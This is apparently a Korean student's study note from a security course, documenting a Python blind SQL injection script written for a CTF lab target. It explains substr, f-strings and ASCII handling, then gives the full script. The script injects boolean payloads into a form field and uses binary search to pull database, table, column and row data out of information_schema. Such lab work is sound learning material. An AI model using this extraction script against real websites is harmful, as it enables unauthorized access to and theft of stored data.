t 갯수확인/ t ->limit에 들어가 갯수 확인/ 0부터 시작
a 자리수 확인/ a -> substr에 들거가 자리수 확인 1부터 시작
g asciicode +1 해주기 위해 도입
내가 찾는 ASCIIcode는 v값 나오기 마지막번호가 정답
But {mid}이 >(초과)라서 //mid == ascii code
올라가면서 ex) 32-> 33 ->34는 마지막 error 나온값이 정답
내려가면서 ex) 127 -> 126 ->125 는 마지막 ascii code에서 +1을 함
binary search 도입
반복문(while) 조건에 start <= end 도입
-> Blind sqli는 True랑 False 두가지 답 밖에 없어 멈출 수가 없었다.
-> 기존은 True되면 멈추게 시스템(1개씩 올림) 했지만 너무 많은 값을 넣어야해서 느렸다.
-> True에 end = mid - 1 False에 start = mid + 1 넣어 값을 변동시키고 mid = round((start+end)/2)를 대입함
sentence
input으로 받아 select문에 대입하여 database, table이름 추출등 선택할수 있게하여 여러 파일을 하나로 합쳤다.
substr함수
substr에 ((),출력시작 문자번호(a),출력할문자갯수)
substr((test),1,1) -> t
substr((test),1,2) -> te
substr((test),2,1) -> e
substr((test),2,2) -> es
f
""(문자열)안에 {}로 변수를 넣을 수있음
ex) ss="morning"
f"good {ss}"
-> good morning
append
append는 list에 새로운 것을 뒤쪽에 추가
ex) list=[a]
list.append(b)
list=[a,b]
ascii()
주로 문자열을 다룰 때, 특히 비-ASCII 문자가 포함된 문자열을 안전하게 출력하거나 처리하기 위해 사용됨
ex) 비 ASCII문자
text = "Hello, 世界!"
ascii_text = ascii(text)
print(ascii_text)
출력
'Hello, \u4e16\u754c!'
ex) emoji
text = "Hello, 😊!"
ascii_text = ascii(text)
print(ascii_text)
출력
'Hello, \\U0001f60a!'
| 그림 |
|---|
출처: 나무위키 |
import requests
url="http://ctf.segfaulthub.com:7777/sqli_7/notice_list.php"
cho=input("1: database 2: table 3: column 4: extract ")
if(cho=="1"):
sentence="select database()"
elif(cho == "2"):
ice="table"
db=input("DB_Name: ")
sentence=f"select {ice}_name from information_schema.{ice}s where table_schema = '{db}'"
elif(cho == "3"):
ice ="column"
db=input("DB_NAME: ")
sentence=f"select {ice}_name from information_schema.{ice}s where table_schema = '{db}'"
elif(cho == "4"):
table=input("Table_Name: ")
column=input("Column_name: ")
sentence= f"select {column} from {table}"
# ascii code해석할때 ascii담아둘 list선언
list=[]
# limit에 넣어 갯수 파악하기 위함
t=0
while True:
data={
'option_val':f"1 = 1 and (ascii(substr(({sentence} limit {t},1),1,1))>0) and title",
'board_result':'test',
'board_search': '%F0%9F%94%8D',
'date_from': '',
'date_to' : ''
}
header={
'User-Agent' : 'Mozilla/5.0 ....',
"Cookie" : 'PHPSESSID=....',
}
res=requests.post(url,data=data,headers=header)
v="존재하지 않습니다."
if v in res.text:
print("갯수"+str(t))
break
a=1
while True:
data={
'option_val':f"1 = 1 and (ascii(substr(({sentence} limit {t},1),{a},1))>0) and title",
'board_result':'test',
'board_search': '%F0%9F%94%8D',
'date_from': '',
'date_to' : ''
}
header={
'User-Agent' : 'Mozilla/5.0 ...',
"Cookie" : 'PHPSESSID=...',
}
res=requests.post(url,data=data,headers=header)
v="존재하지 않습니다."
if v in res.text:
res = ""
for val in list:
res = res + chr(val)
# Printing resultant string
# t는 갯수표시
print (">", str(res),str(t+1))
# 다음 갯수를 위해 list초기화
list=[]
break
# introduce binary search
#ASCii code 문자 시작부터 끝
start = 32
end= 127
# 내가 찾는 ASCIIcode는 v값 나오기 마지막번호가 정답
# But {mid}이 >(초과)라서
# 올라가면서 ex) 32-> 33 ->34는 마지막 error 나온값이 정답
# 내려가면서 ex) 127 -> 126 ->125 는 마지막 ascii code에서 +1을 함
# {mid}== ASCII Code
g=0
# start<=end이렇게 해야 끝남
while start <= end:
mid = round((start+end)/2)
data={
'option_val':f"1 = 1 and (ascii(substr(({sentence} limit {t},1),{a},1))>{mid}) and title",
'board_result':'test',
'board_search': '%F0%9F%94%8D',
'date_from': '',
'date_to' : ''
}
header={
'User-Agent' : 'Mozilla/5.0...',
"Cookie" : 'PHPSESSID=...',
}
res=requests.post(url,data=data,headers=header)
v="존재하지 않습니다."
if v in res.text:
end = mid - 1
g=1
else:
start = mid + 1
g=2
# 자리수 바뀌뀌전에 list에 asciicode저장 append는 list에 새로운 것을 뒤쪽에 추가
if(g==2):
list.append(mid+1)
else:
list.append(mid)
a+=1
t +=1
print("DONE")
--Normaltic Study 8주차--